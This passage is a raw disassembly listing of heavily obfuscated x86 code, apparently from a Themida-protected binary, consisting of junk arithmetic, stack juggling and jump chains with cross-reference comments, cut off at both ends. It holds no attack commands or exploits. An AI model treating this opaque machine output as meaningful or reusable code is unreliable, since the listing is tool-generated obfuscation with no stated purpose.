sub_59196D+1564j add edx, 4 sub edx, 4 push edx jmp loc_5967EA ; --------------------------------------------------------------------------- loc_595503: ; CODE XREF: sub_59196D+22D1j sub [esp+48h+var_4A+2], esi mov esi, [esp+48h+var_4A+2] add esp, 4 neg esi neg esi add esi, 12EF3482h sub edx, esi pop esi xchg ebx, edx jmp loc_58DD2F ; --------------------------------------------------------------------------- loc_595523: ; CODE XREF: sub_59196D+1AAj ; sub_59196D+3C67j ... sub edi, 0FFFFFFFFh or edi, 68ED47C5h jnz loc_58BB09 dec edi js loc_58B5ED mov dl, 0A0h push eax loc_59553C: ; DATA XREF: Themida_:0058B1F4o mov cx, word ptr [esp+24h+var_26+2] push 69FDh jmp loc_58D50E ; --------------------------------------------------------------------------- loc_59554A: ; CODE XREF: sub_59196D:loc_5922C9j push edx xchg eax, [esp+18h+var_1A+2] not eax jmp loc_5927BF ; --------------------------------------------------------------------------- loc_595555: ; CODE XREF: sub_59196D-5FFCj push esp mov ebp, [esp+20h+var_22+2] add esp, 4 sub esp, 4 mov [esp+20h+var_22+2], ebp push esp jmp loc_598093 ; --------------------------------------------------------------------------- loc_59556B: ; CODE XREF: sub_59196D-28C1j ; sub_59196D+4C36j add esp, 4 sub esi, ebx push [esp+0Ch+var_C] pop ebx add esp, 4 add esi, eax add esi, 2B6A3E7Ah sub esp, 4 mov [esp+0Ch+var_C], esi jmp loc_58C026 ; --------------------------------------------------------------------------- loc_59558D: ; CODE XREF: sub_59196D+1C43j mov word ptr [esp+36h+var_36], dx mov dl, bh not dl mov bh, dl jmp loc_58E95E ; --------------------------------------------------------------------------- loc_59559C: ; CODE XREF: sub_59196D-5A89j push edi mov edi, 2 add ebp, edi pop edi xor ebp, [esp+36h+var_36] xor [esp+36h+var_36], ebp xor ebp, [esp+36h+var_36] mov esp, [esp+36h+var_36] cmp cl, al pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_5955B9: ; CODE XREF: sub_59196D+586Dj add esp, 4 jmp loc_594419 ; --------------------------------------------------------------------------- loc_5955C1: ; CODE XREF: sub_59196D-602Dj sub [esp+24h+var_26+2], ebp mov ebp, [esp+24h+var_26+2] add esp, 4 jmp loc_58D0E0 ; --------------------------------------------------------------------------- loc_5955CF: ; CODE XREF: sub_59196D+54C0j add dl, 0C3h and ch, dl jmp loc_595523 ; --------------------------------------------------------------------------- loc_5955D9: ; CODE XREF: Themida_:0058FE25j neg al jp loc_596D1B jmp loc_590619 ; --------------------------------------------------------------------------- and eax, ebp pop ebp neg eax shl eax, 8 loc_5955EE: ; DATA XREF: Themida_:0058B12Co push [esp+1Ch+var_1E+2] jmp loc_597ACB ; --------------------------------------------------------------------------- loc_5955F6: ; CODE XREF: sub_59196D+578Dj sub edx, 6F752D81h jmp loc_592631 ; --------------------------------------------------------------------------- loc_595601: ; CODE XREF: sub_59196D+2FCEj pop ecx jmp loc_592631 ; --------------------------------------------------------------------------- loc_595607: ; CODE XREF: sub_59196D+28B7j xchg ecx, edi not ecx xchg ecx, edi push ecx push edi pop ecx pop edi jmp loc_590F88 ; --------------------------------------------------------------------------- loc_595616: ; CODE XREF: sub_59196D+2D13j xchg ecx, [esp-14h+arg_10] pop esp jmp loc_592224 ; --------------------------------------------------------------------------- loc_59561F: ; CODE XREF: Themida_:0058CA47j mov edx, 50AC4DADh push ebp mov ebp, 5E01524Fh xor edx, ebp pop ebp mov eax, edx mov edx, [esp-18h+arg_14] jmp loc_59569C ; --------------------------------------------------------------------------- loc_595637: ; CODE XREF: sub_59196D+57FEj sub esp, 4 mov [esp-14h+arg_10], edx mov dl, 21h sub al, dl pop edx push ebx push esp jmp loc_594891 ; --------------------------------------------------------------------------- loc_59564C: ; CODE XREF: sub_59196D-2A43j pop ecx mov eax, [esp-4+arg_0] add esp, 4 jmp loc_58B37B ; --------------------------------------------------------------------------- loc_59565B: ; CODE XREF: sub_59196D+2C8Aj sub ebp, ecx mov ecx, [esp-0Ah+arg_4+2] add esp, 4 jmp loc_5921F0 ; --------------------------------------------------------------------------- loc_59566B: ; CODE XREF: sub_59196D-586Dj push 279Eh jmp loc_59515B ; --------------------------------------------------------------------------- loc_595675: ; CODE XREF: sub_59196D-18E1j mov [esp+1Ch+var_1E+2], esp add [esp+1Ch+var_1E+2], 4 push [esp+1Ch+var_1E+2] pop ecx jmp loc_596530 ; --------------------------------------------------------------------------- loc_595688: ; CODE XREF: sub_59196D-AA6j mov eax, [esp+20h+var_22+2] add esp, 4 mov eax, [esp+1Ch+var_1E+2] add esp, 4 jmp sub_58ED05 ; --------------------------------------------------------------------------- loc_59569C: ; CODE XREF: sub_59196D+3CC5j add esp, 4 xchg eax, edi not edi xchg eax, edi shl eax, 1 shl eax, 8 jmp loc_58D778 ; --------------------------------------------------------------------------- loc_5956AD: ; CODE XREF: sub_59196D-874j pop edx push esi mov esi, 506A52C2h push edx mov edx, 0 jmp loc_594045 ; --------------------------------------------------------------------------- loc_5956BF: ; CODE XREF: sub_59196D+2D30j jmp loc_590128 ; --------------------------------------------------------------------------- loc_5956C4: ; CODE XREF: sub_59196D-61E7j add ebp, eax pop eax xor ebp, [esp+1Ch+var_1E+2] xor [esp+1Ch+var_1E+2], ebp xor ebp, [esp+1Ch+var_1E+2] mov esp, [esp+1Ch+var_1E+2] mov ax, word ptr [esp+1Ch+var_1E+2] push edx jmp loc_592C26 ; --------------------------------------------------------------------------- loc_5956DD: ; CODE XREF: sub_59196D-3877j add ebx, ecx pop ecx xor ebx, [esp+16h+var_16] xor [esp+16h+var_16], ebx xor ebx, [esp+16h+var_16] jmp loc_590C9A ; --------------------------------------------------------------------------- loc_5956EE: ; CODE XREF: sub_59196D+572Bj push eax mov eax, 4 jmp loc_58C974 ; --------------------------------------------------------------------------- loc_5956F9: ; CODE XREF: sub_59196D-4BFFj jmp loc_58B37B ; --------------------------------------------------------------------------- loc_5956FE: ; CODE XREF: sub_59196D+639Ej add edi, ecx sub edi, 0BEC7ABDh pop ecx add edi, 4 push edi jmp loc_591A91 ; --------------------------------------------------------------------------- loc_595713: ; CODE XREF: sub_59196D-1422j neg edi xor edi, 0D314D7CEh add eax, edi pop edi sub eax, 4 xchg eax, [esp+14h+var_16+2] jmp loc_58DFBF ; --------------------------------------------------------------------------- loc_595729: ; CODE XREF: sub_59196D+6199j mov ecx, 20026218h push ebx mov ebx, 3615338Ch add ebx, 19A355ACh shl ebx, 8 jmp loc_597D23 ; --------------------------------------------------------------------------- loc_595742: ; CODE XREF: sub_59196D+62CEj push esi mov esi, 539E7A86h push 309Eh mov [esp+20h+var_22+2], edx push 378355D9h pop edx shr edx, 1 push 7571h mov [esp+24h+var_26+2], esi mov esi, 3D455046h not esi dec esi shr esi, 5 add esi, 5632E416h xor edx, esi pop esi jmp loc_593FCA ; --------------------------------------------------------------------------- loc_595779: ; CODE XREF: sub_59196D-981j sub edx, 9D26D58h push [esp+28h+var_2A+2] pop ebx add esp, 4 sub edx, 4 xor edx, [esp+24h+var_26+2] xor [esp+24h+var_26+2], edx xor edx, [esp+24h+var_26+2] jmp loc_592695 ; --------------------------------------------------------------------------- loc_595797: ; CODE XREF: sub_59196D-63FBj xchg edx, [esp+14h+var_16+2] mov esp, [esp+14h+var_16+2] push [esp+14h+var_16+2] jmp loc_58F4BC ; --------------------------------------------------------------------------- loc_5957A5: ; CODE XREF: sub_59196D+28E0j mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_590AFF ; --------------------------------------------------------------------------- loc_5957B8: ; CODE XREF: sub_59196D+A3Fj xor ebp, eax jmp loc_5950ED ; --------------------------------------------------------------------------- loc_5957BF: ; CODE XREF: sub_59196D+23DBj mov ebx, eax pop eax sub esp, 4 mov [esp+28h+var_2A+2], ecx mov ecx, 7D5D6402h xor ebx, ecx push [esp+28h+var_2A+2] jmp loc_58F0AB ; --------------------------------------------------------------------------- loc_5957D7: ; CODE XREF: sub_59196D-1317j push ecx jmp loc_58F6A0 ; --------------------------------------------------------------------------- loc_5957DD: ; CODE XREF: sub_59196D-623Aj pop ebp sub ebp, 135C56FBh mov edx, ebp jmp loc_5913E2 ; --------------------------------------------------------------------------- loc_5957EB: ; CODE XREF: sub_59196D+2AE7j lodsd sub eax, 22E41B83h jmp loc_58FA2C ; --------------------------------------------------------------------------- loc_5957F6: ; CODE XREF: sub_59196D-CA7j push [esp+24h+var_26+2] jmp loc_58D3AB ; --------------------------------------------------------------------------- loc_5957FE: ; CODE XREF: sub_59196D+706j ; sub_59196D+4897j mov ecx, 4F134504h jmp loc_58B954 ; --------------------------------------------------------------------------- loc_595808: ; CODE XREF: sub_59196D+186Cj shl ebp, 5 jmp loc_5964BC ; --------------------------------------------------------------------------- loc_595810: ; CODE XREF: sub_59196D-32E7j sub esp, 4 mov [esp+20h+var_22+2], edi mov edi, 38C73E42h jmp loc_58F1B4 ; --------------------------------------------------------------------------- loc_595820: ; CODE XREF: sub_59196D+2E2Aj mov ecx, 0FD69FCh shr ecx, 6 not ecx add ecx, 5450830h shl ecx, 8 sub ecx, 411287FCh push ecx jmp loc_58E3D7 ; --------------------------------------------------------------------------- loc_59583F: ; CODE XREF: sub_59196D+679Dj mov esp, [esp+44h+var_44] shl word ptr [esp+44h+var_44], cl pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_59584C: ; CODE XREF: sub_59196D+450Dj push eax not [esp+4Ch+var_4E+2] pop eax sub eax, 0FFFFFFFFh shl eax, 7 xor eax, 0DFFE9DCAh sub edx, eax pop eax mov eax, [esp+44h+var_44] add esp, 4 push edx add [esp+44h+var_44], 3C6871A7h pop eax sub eax, 3C6871A7h pop edx push edx push 506D6035h pop edx xor edx, 3AE74FB2h xchg ebp, edx inc ebp xchg ebp, edx dec edx shl edx, 1 push edx jmp loc_59114F ; --------------------------------------------------------------------------- loc_595891: ; CODE XREF: sub_59196D-5E47j xor edx, 7160432Dh add eax, edx pop edx sub eax, 4 xor eax, [esp+1Ch+var_1E+2] xor [esp+1Ch+var_1E+2], eax jmp loc_58FC92 ; --------------------------------------------------------------------------- loc_5958AA: ; CODE XREF: sub_59196D-2D4Cj jle loc_596C16 shl ebx, 5 js loc_593CC6 push ebp loc_5958BA: ; CODE XREF: sub_59196D-54ECj add esi, 4 jmp loc_591745 ; --------------------------------------------------------------------------- loc_5958C5: ; CODE XREF: sub_59196D-27BEj pop edx add esp, 4 and ecx, edi pop edi jmp loc_596D2E ; --------------------------------------------------------------------------- loc_5958D1: ; CODE XREF: sub_59196D-4464j ; sub_59196D+247Cj mov esi, 4 add eax, esi push [esp+20h+var_22+2] pop esi jmp loc_593C95 ; --------------------------------------------------------------------------- loc_5958E1: ; CODE XREF: sub_59196D-5423j mov [esp+0], esi mov esi, 4 sub [esp+0Eh+var_C+2], 790844BAh add [esp+0Eh+var_C+2], esi add [esp+0Eh+var_C+2], 790844BAh push dword ptr [esp+0] pop esi add esp, 4 jmp loc_58B37B ; --------------------------------------------------------------------------- loc_595909: ; CODE XREF: sub_59196D-2BCCj and ebx, eax jmp loc_59391A ; --------------------------------------------------------------------------- loc_595910: ; CODE XREF: sub_59196D+2743j ; sub_59196D+5D31j mov esi, esp add esi, 4 jmp loc_58E0BC ; --------------------------------------------------------------------------- loc_59591D: ; CODE XREF: sub_59196D+34C8j xchg ecx, [esp+24h+var_26+2] pop esp push 496h mov [esp+24h+var_26+2], edi jmp loc_5910CE ; --------------------------------------------------------------------------- loc_59592E: ; CODE XREF: sub_59196D+6A03j add edx, 74C64F08h add edx, ecx sub edx, 74C64F08h pop ecx sub edx, 67BD7DA5h add edx, ebx add edx, 67BD7DA5h sub edx, 359F579Fh mov ebx, [esp+20h+var_22+2] jmp loc_5942E4 ; --------------------------------------------------------------------------- loc_595959: ; CODE XREF: sub_59196D+15C8j push 57D31D48h pop esi add esi, 0DD6E1A22h jmp loc_58B6AE ; --------------------------------------------------------------------------- loc_59596A: ; CODE XREF: sub_59196D+613Aj pop ebp jmp loc_58CD8B ; --------------------------------------------------------------------------- loc_595970: ; CODE XREF: sub_59196D+6AE6j add ecx, 0D4FBDFB6h mov eax, ecx mov ecx, [esp+24h+var_26+2] jmp loc_594113 ; --------------------------------------------------------------------------- loc_595980: ; CODE XREF: sub_59196D-5C19j add edx, 7CF12E18h sub edx, 80F23A89h add eax, edx mov edx, [esp+26h+var_26] push edx mov edx, esp add edx, 4 add edx, 4 push edx push [esp+2Eh+var_2A] jmp loc_5979A9 ; --------------------------------------------------------------------------- loc_5959A7: ; CODE XREF: sub_59196D-4DC9j or ebx, 501C1EC0h not ebx jmp loc_58C602 ; --------------------------------------------------------------------------- loc_5959B4: ; CODE XREF: sub_59196D+2658j dec edi jmp loc_592D3A ; --------------------------------------------------------------------------- loc_5959BA: ; CODE XREF: sub_59196D+6CECj pop esp jmp loc_58B37B ; --------------------------------------------------------------------------- loc_5959C0: ; CODE XREF: sub_59196D+604j push edi mov edi, 432C2D64h jmp loc_591B34 ; --------------------------------------------------------------------------- mov cx, word ptr [esp+4Ch+var_4E+2] push 4C73h mov [esp], ecx push esp jmp loc_58F77A ; --------------------------------------------------------------------------- loc_5959DD: ; CODE XREF: sub_59196D-C97j pop esp jmp loc_594772 ; --------------------------------------------------------------------------- loc_5959E3: ; CODE XREF: sub_59196D+1D4Dj mov edi, 4795759Dh push ebp mov ebp, 70154841h sub edi, ebp jmp loc_592BCD ; --------------------------------------------------------------------------- loc_5959F5: ; CODE XREF: sub_59196D+5C8Cj dec al jo loc_5932E0 add al, 1Eh jmp loc_591B8F ; --------------------------------------------------------------------------- loc_595A04: ; CODE XREF: sub_59196D+6C55j sub edi, 988B9C9Ah add ebp, edi pop edi or ebp, 50823CBFh or ebp, 3452030Bh sub ebp, 0A17FECD0h sub ecx, ebp jmp loc_593590 ; --------------------------------------------------------------------------- loc_595A26: ; CODE XREF: sub_59196D-2FBBj not edi add edi, 78467D58h add edi, 0FDD78E98h add ebx, edi pop edi jmp loc_58CA82 ; --------------------------------------------------------------------------- loc_595A3C: ; CODE XREF: sub_58EF7E+283Cj add edi, edx pop edx xor edi, [esp+18h+var_1A+2] xor [esp+18h+var_1A+2], edi xor edi, [esp+18h+var_1A+2] pop esp jmp loc_596FBD ; --------------------------------------------------------------------------- push [esp+14h+var_16+2] mov eax, [esp+18h+var_1A+2] sub esp, 4 mov [esp+1Ch+var_1E+2], ebx mov ebx, esp sub esp, 4 jmp loc_59799C ; --------------------------------------------------------------------------- loc_595A6A: ; CODE XREF: sub_59196D-47C4j jz loc_58BC3F add esi, 0EEF6FBE8h mov edx, esi pop esi sub edx, 2FD933BDh sub edx, 53E17CC0h jmp loc_5936A5 ; --------------------------------------------------------------------------- loc_595A8A: ; CODE XREF: Themida_:0058EA8Dj sub cl, 9Ch pop eax sub cl, 0A8h or cl, 97h jmp loc_591CE8 ; --------------------------------------------------------------------------- loc_595A99: ; CODE XREF: Themida_:0058D53Fj push ecx add [esp+8+var_8], 54451DB3h jmp loc_593D29 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax adc [esp+4+var_4], eax pushf jmp loc_593B48 ; --------------------------------------------------------------------------- loc_595AB4: ; CODE XREF: sub_59196D+2FDAj pop edi push ecx jmp loc_58DEF8 ; --------------------------------------------------------------------------- loc_595ABB: ; CODE XREF: sub_59196D+44ACj xor cl, 2Fh add cl, 14h sub bh, cl pop ecx push edx jmp loc_58D2EC ; --------------------------------------------------------------------------- loc_595ACA: ; CODE XREF: sub_59196D-4C9Cj pop edx sub edx, 253F0212h pop ebx add eax, edx mov edx, [esp+32h+var_32] add esp, 4 jmp loc_5916EC ; --------------------------------------------------------------------------- push [esp+2Eh+var_2E] push [esp+32h+var_32] jmp loc_58D8F3 ; --------------------------------------------------------------------------- loc_595AED: ; CODE XREF: Themida_:0058EB36j not eax xor eax, 0D3AF5ABFh add ebx, eax pop eax push edi sub esp, 4 jmp loc_59520C ; --------------------------------------------------------------------------- loc_595B00: ; CODE XREF: sub_59196D-47AEj sub esp, 4 mov [esp+1Ch+var_1E+2], eax jmp loc_58DEFE ; --------------------------------------------------------------------------- loc_595B0E: ; CODE XREF: sub_59196D+37E9j add dl, cl pop ecx neg dl add dl, 0F2h sub al, dl pop edx add al, bh add al, 0E7h mov ebx, [esp+0] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+4Ah+var_4A] pop esp push ecx mov cl, 30h sub cl, 0B2h not cl shr cl, 4 add cl, 9Ch add al, 0BCh sub al, cl push ecx jmp loc_594E3A ; --------------------------------------------------------------------------- loc_595B47: ; CODE XREF: sub_59196D-1D4Ej jmp loc_58B37B ; --------------------------------------------------------------------------- loc_595B4C: ; CODE XREF: sub_59196D-3B67j push 28AE5337h push [esp+2Eh+var_2E] pop esi jmp loc_592F1B ; --------------------------------------------------------------------------- loc_595B5A: ; CODE XREF: sub_59196D+3501j add [esp+2Ch+var_2E+2], 4 pop ebp jmp loc_58D6C0 ; --------------------------------------------------------------------------- loc_595B64: ; CODE XREF: Themida_:005903BAj mov ecx, esp push ebp push edi jmp loc_58CCF6 ; --------------------------------------------------------------------------- loc_595B6D: ; CODE XREF: sub_59196D-29B5j and eax, ecx push [esp-0Ch+arg_8] mov ecx, [esp-8+arg_4] add esp, 4 sub esp, 4 mov [esp-8+arg_4], eax mov eax, esp add eax, 4 jmp loc_591DB9 ; --------------------------------------------------------------------------- loc_595B90: ; CODE XREF: sub_59196D+4CF0j add ebx, 15FA1E96h jmp loc_59366B ; --------------------------------------------------------------------------- loc_595B9B: ; CODE XREF: sub_59196D:loc_58CDACj add eax, 708D0E16h jle loc_591A59 or eax, 310C08A5h jmp loc_5903C7 ; --------------------------------------------------------------------------- loc_595BB0: ; CODE XREF: sub_59196D+9F8j xor al, 62h add bl, al jmp loc_5919A9 ; --------------------------------------------------------------------------- loc_595BB9: ; CODE XREF: sub_59196D+EC6j or eax, edx pop edx not eax add eax, 401B578Fh mov edi, eax mov eax, [esp+2Ah+var_2A] add esp, 4 and eax, edi push [esp+26h+var_26] pop edi add esp, 4 or eax, eax jz loc_592224 push edx push esi push 19AD1550h mov esi, [esp+2Eh+var_2E] push esi jmp loc_5970D1 ; --------------------------------------------------------------------------- loc_595BF2: ; CODE XREF: sub_59196D+824j not edi and edi, 1CBA5D25h and edi, 218B66C6h jmp loc_59167D ; --------------------------------------------------------------------------- loc_595C05: ; CODE XREF: sub_59196D-60E7j ; sub_59196D-151Aj ... add ebx, ebp jmp loc_596EDD ; --------------------------------------------------------------------------- loc_595C0C: ; CODE XREF: sub_59196D+3007j mov eax, ebx jmp loc_58EDA0 ; --------------------------------------------------------------------------- loc_595C13: ; CODE XREF: sub_59196D-28DFj xor edx, eax jmp loc_594ADA ; --------------------------------------------------------------------------- loc_595C1A: ; DATA XREF: Themida_:0058B134o mov ax, word ptr [esp+14h+var_16+2] push esi mov esi, esp jmp loc_594591 ; --------------------------------------------------------------------------- loc_595C26: ; CODE XREF: sub_59196D-191Cj pop esp mov [esp+0Ch+var_C], ecx mov ecx, 4 add ebx, ecx mov ecx, [esp+0Ch+var_C] add esp, 4 jmp loc_59813C ; --------------------------------------------------------------------------- mov ax, word ptr [esp+8+var_8] push 7A8Dh mov [esp+0Ch+var_C], ebp mov ebp, esp sub esp, 4 jmp loc_591A7C ; --------------------------------------------------------------------------- loc_595C55: ; CODE XREF: sub_59196D-3B5Cj sub eax, ebx sub eax, 55EA5F45h sub esp, 4 mov [esp+2Ah+var_2A], ebp mov ebp, 651E1B4Bh jmp loc_5973B7 ; --------------------------------------------------------------------------- loc_595C6C: ; CODE XREF: sub_59196D+5D3Dj mov dx, 5FE0h dec dx jnp loc_5920BD and dx, 7A14h jle loc_58BD34 mov ah, al pop ebp loc_595C86: ; CODE XREF: Themida_:00590F1Ej push 5BB75673h jmp loc_59514B ; --------------------------------------------------------------------------- loc_595C90: ; CODE XREF: sub_59196D-1E6Dj ; sub_59196D+210Aj pop esp push [esp+58h+var_5A+2] mov eax, [esp+0] jmp loc_59524F ; --------------------------------------------------------------------------- loc_595C9C: ; CODE XREF: sub_59196D+5A3Fj add dword ptr [esp+0], 4 pop edi jmp loc_5942AF ; --------------------------------------------------------------------------- loc_595CA6: ; CODE XREF: sub_59196D:loc_58C3FAj xor edx, 10004CF5h mov ebp, edx pop edx add esi, ebp pop ebp xor esi, [esp+4+var_4] jmp loc_594C32 ; --------------------------------------------------------------------------- loc_595CBA: ; CODE XREF: sub_59196D+188Aj mov ebx, edi jmp loc_595DAD ; --------------------------------------------------------------------------- loc_595CC1: ; CODE XREF: sub_59196D+417j mov [esp+8+var_8], edi mov edi, 2BB5396Ch neg edi shr edi, 2 dec edi jge loc_58E2F8 and edi, 1E69397Dh xor edi, 2CAC24D4h pop edx loc_595CE2: ; CODE XREF: sub_59196D+4E08j jnp loc_58BA41 add edx, 6CAD461Ah mov ebx, edx mov edx, [esp+4+var_4] mov bl, al loc_595CF5: ; CODE XREF: sub_58B4DA+9j mov dl, bl mov ah, dl pop edx pop ebx push small 0 sub [esp+0], ah jmp loc_58BD59 ; --------------------------------------------------------------------------- loc_595D07: ; CODE XREF: sub_59196D+38CFj add eax, 789B662Ah jmp loc_592472 ; --------------------------------------------------------------------------- loc_595D11: ; CODE XREF: sub_59196D-4D67j mov [esp+2Ch+var_2E+2], ebp push ecx jmp loc_593884 ; --------------------------------------------------------------------------- loc_595D1A: ; CODE XREF: Themida_:0058CA19j mov ecx, 19010222h mov ebx, 8750CE1Ah sub ebx, ecx push [esp+30h+var_32+2] pop ecx add esp, 4 xor eax, ebx push [esp+2Ch+var_2E+2] mov ebx, [esp+30h+var_32+2] add esp, 4 push esi jmp loc_590CFD ; --------------------------------------------------------------------------- loc_595D44: ; CODE XREF: sub_59196D-10C1j pop edi jmp loc_5945EF ; --------------------------------------------------------------------------- loc_595D4A: ; CODE XREF: sub_59196D-40A1j pop ecx and ebx, 60FD46D7h not ebx shl ebx, 8 sub esp, 4 mov [esp+32h+var_32], edx mov edx, 6E276BE9h jmp loc_593226 ; --------------------------------------------------------------------------- loc_595D66: ; CODE XREF: sub_59196D-5F94j mov ebx, 55255F0Ch xor ebx, ecx pop ecx push esi mov esi, 15CB241Bh jmp loc_59109E ; --------------------------------------------------------------------------- loc_595D79: ; CODE XREF: sub_59196D+5234j sub edi, ebx pop ebx sub edi, 1FE76A9Ch add edi, edx add edi, 1FE76A9Ch add edi, 2F5A12BCh pop edx jmp loc_59702B ; --------------------------------------------------------------------------- loc_595D96: ; CODE XREF: sub_59196D-2B5Ej push esi mov esi, 0EC9C8BF2h add eax, 196F7A4Eh add eax, esi sub eax, 196F7A4Eh jmp loc_58BBCD ; --------------------------------------------------------------------------- loc_595DAD: ; CODE XREF: sub_59196D+225Cj ; sub_59196D+434Fj pop edi pop edx add ebx, 7D8C7B83h add ebx, 16A6644Bh add ebx, edx push ebp push edi mov edi, 11315204h jmp loc_59373B ; --------------------------------------------------------------------------- loc_595DC9: ; CODE XREF: sub_59196D-22E8j or ebx, 63230EA2h jle loc_593A12 jmp loc_5924C7 ; --------------------------------------------------------------------------- push small 0A92h mov word ptr [esp-0Ah+arg_4+2], ax loc_595DE2: ; CODE XREF: sub_59196D+4B82j pop eax add ebx, 5CA74305h add ebx, ebp sub ebx, 5CA74305h mov ebp, [esp-0Eh+arg_8+2] add esp, 4 sub ebx, eax push edi mov edi, 31860E16h sub ebx, edi push [esp-0Eh+arg_8+2] jmp loc_596E1A ; --------------------------------------------------------------------------- loc_595E0C: ; CODE XREF: sub_59196D-2058j pop eax or cl, 71h jo loc_58BCA1 shr cl, 3 jmp loc_595ABB ; --------------------------------------------------------------------------- loc_595E1E: ; CODE XREF: sub_59196D-5AB3j mov eax, 4 jmp loc_592E54 ; --------------------------------------------------------------------------- loc_595E28: ; CODE XREF: sub_59196D+28F2j ; sub_59196D+38DDj mov esi, [esp+1Ch+var_1E+2] add esp, 4 sub ebx, esi pop esi jmp loc_59400B ; --------------------------------------------------------------------------- loc_595E39: ; CODE XREF: sub_59196D-3E8Fj sub esp, 4 mov [esp+1Ch+var_1E+2], edx jmp loc_58DC52 ; --------------------------------------------------------------------------- loc_595E47: ; CODE XREF: sub_59196D-28A2j sub eax, 4 sub esp, 4 mov [esp+3Eh+var_40+2], eax push [esp+3Eh+var_3C+2] jmp loc_593746 ; --------------------------------------------------------------------------- loc_595E5B: ; CODE XREF: sub_59196D+29F3j push esp jmp loc_593975 ; --------------------------------------------------------------------------- loc_595E61: ; CODE XREF: sub_58BF03-3D7j push eax mov eax, 16444841h mov edx, eax jmp loc_58B9A3 ; --------------------------------------------------------------------------- loc_595E6E: ; CODE XREF: sub_59196D+5B07j add esi, 4 jmp loc_597877 ; --------------------------------------------------------------------------- loc_595E79: ; CODE XREF: sub_59196D+65Fj pop ecx jmp loc_59584C ; --------------------------------------------------------------------------- loc_595E7F: ; CODE XREF: sub_59196D-2CF8j push edx jmp loc_598127 ; --------------------------------------------------------------------------- loc_595E85: ; CODE XREF: sub_59196D+580Bj mov ebp, 24191EFEh sub ecx, ebp pop ebp push ebx mov ebx, 25F14287h sub ecx, ebx pop ebx jmp loc_5917CE ; --------------------------------------------------------------------------- loc_595E9B: ; CODE XREF: sub_59196D+2Cj pop esp xchg edx, [esp+1Ch+var_1E+2] mov esp, [esp+1Ch+var_1E+2] movzx cx, al push small 1C0Bh mov word ptr [esp+1Eh+var_1E], cx jmp loc_58B37B ; --------------------------------------------------------------------------- loc_595EB3: ; CODE XREF: sub_59196D+A88j mov eax, esp add eax, 4 add eax, 4 xor eax, [esp+0] jmp loc_592C05 ; --------------------------------------------------------------------------- loc_595EC5: ; CODE XREF: sub_590717+2j mov eax, 504B71A4h shr eax, 7 shr eax, 3 jmp loc_5936BF ; --------------------------------------------------------------------------- loc_595ED5: ; CODE XREF: sub_59196D+16B8j mov ch, 9Ah inc ch shr ch, 7 push ax mov ah, 60h add ch, ah mov ax, word ptr [esp+1Eh+var_1E] push edi mov edi, esp add edi, 4 add edi, 2 xchg edi, [esp+22h+var_22] pop esp add al, 8Fh add al, ch jmp loc_597E6A ; --------------------------------------------------------------------------- loc_595F02: ; CODE XREF: sub_59196D+AA7j shl ebp, 5 js loc_58BAEF sub ebp, 0A65EBF02h and [edi+1Ch], ebp mov ebp, [esp+0] push edi loc_595F18: ; CODE XREF: sub_59196D-543Dj push [esp+12h+var_12] mov eax, [esp+16h+var_16] add esp, 4 jmp loc_596106 ; --------------------------------------------------------------------------- loc_595F29: ; CODE XREF: sub_59196D-93Fj xchg edx, [esp+8+var_8] pop esp mov [esp+4+var_4], edi push 2AC4h mov [esp+8+var_8], ecx mov ecx, 3B332D3h mov edi, 2C7B9647h sub edi, ecx mov ecx, [esp+8+var_8] add esp, 4 not edi add edi, 1 inc edi shr edi, 6 dec edi jmp loc_58FDB6 ; --------------------------------------------------------------------------- loc_595F5F: ; CODE XREF: sub_59196D+1019j shr ebx, 1 add ebx, 0F8F4CACBh or edx, ebx pop ebx push ecx mov ecx, 1CEB7A70h or ecx, 50C308A4h jmp loc_58B477 ; --------------------------------------------------------------------------- loc_595F7B: ; CODE XREF: sub_59196D+6AB4j add edx, eax jmp loc_59094F ; --------------------------------------------------------------------------- loc_595F82: ; CODE XREF: sub_59196D+1890j mov edx, 41A148E5h neg edx xchg ebp, edx not ebp xchg ebp, edx xor edx, 46AE2CC4h sub eax, edx pop edx jmp loc_594BAE ; --------------------------------------------------------------------------- push ecx push eax push 167F13C4h jmp loc_59413D ; --------------------------------------------------------------------------- loc_595FA9: ; CODE XREF: sub_59196D+63A9j sub esp, 4 mov [esp+0], esi mov esi, 4 sub edx, 480F25B0h jmp loc_58D338 ; --------------------------------------------------------------------------- loc_595FBF: ; CODE XREF: sub_59196D+2C66j xor bh, 0ACh push edx mov dl, bh mov ch, dl pop edx pop ebx sub bl, ch mov ecx, [esp+1Ch+var_1E+2] push ebp mov ebp, esp jmp loc_597B30 ; --------------------------------------------------------------------------- loc_595FD6: ; CODE XREF: sub_59196D-598Aj and eax, ebp pop ebp xor eax, 26A008D3h add ecx, eax pop eax push ecx push [esp-8+arg_8] jmp loc_58E3EA ; --------------------------------------------------------------------------- lodsd jmp loc_594D4B ; --------------------------------------------------------------------------- loc_595FF1: ; CODE XREF: sub_59196D-1B5Fj ; sub_59196D+5391j mov [esp+1Ch+var_1E+2], ebp push ebx mov ebx, 721775DBh xor ebx, 15776804h ja loc_594F15 jmp sub_58B60E ; --------------------------------------------------------------------------- add ebp, edi pop edi mov ch, 26h mov bl, ah loc_596012: ; CODE XREF: Themida_:0058D3D4j mov ecx, [esp+1Ch+var_1E+2] jmp loc_5975AB ; --------------------------------------------------------------------------- loc_59601A: ; CODE XREF: sub_59196D-5DB4j and edi, 0D117346h sub edi, 64870B35h or edi, 765F58F7h push ebp mov ebp, 1 sub edi, ebp pop ebp jmp loc_596071 ; --------------------------------------------------------------------------- loc_59603A: ; CODE XREF: sub_59196D-3E39j shl al, 5 xor al, 0C1h add dl, al pop eax sub al, dl pop edx xor bl, al movzx eax, al jmp loc_59006F ; --------------------------------------------------------------------------- loc_59604F: ; CODE XREF: Themida_:0058FD46j mov eax, [esp+2Ch+var_2E+2] add esp, 4 push ebx mov ebx, 4 sub eax, 7381530h sub eax, 6F85381Eh add eax, ebx add eax, 6F85381Eh jmp loc_592EFF ; --------------------------------------------------------------------------- loc_596071: ; CODE XREF: sub_59196D+46C8j sub edi, 39FE7D1Eh xor edi, 945D8150h jmp loc_58EEF2 ; --------------------------------------------------------------------------- loc_596082: ; CODE XREF: sub_59196D-31B5j xor ch, 0D1h sub al, ch pop ecx jmp sub_58B76A ; --------------------------------------------------------------------------- loc_59608D: ; CODE XREF: sub_59196D-22AEj sub bl, 22h sub bl, 28h sub bl, ch add bl, 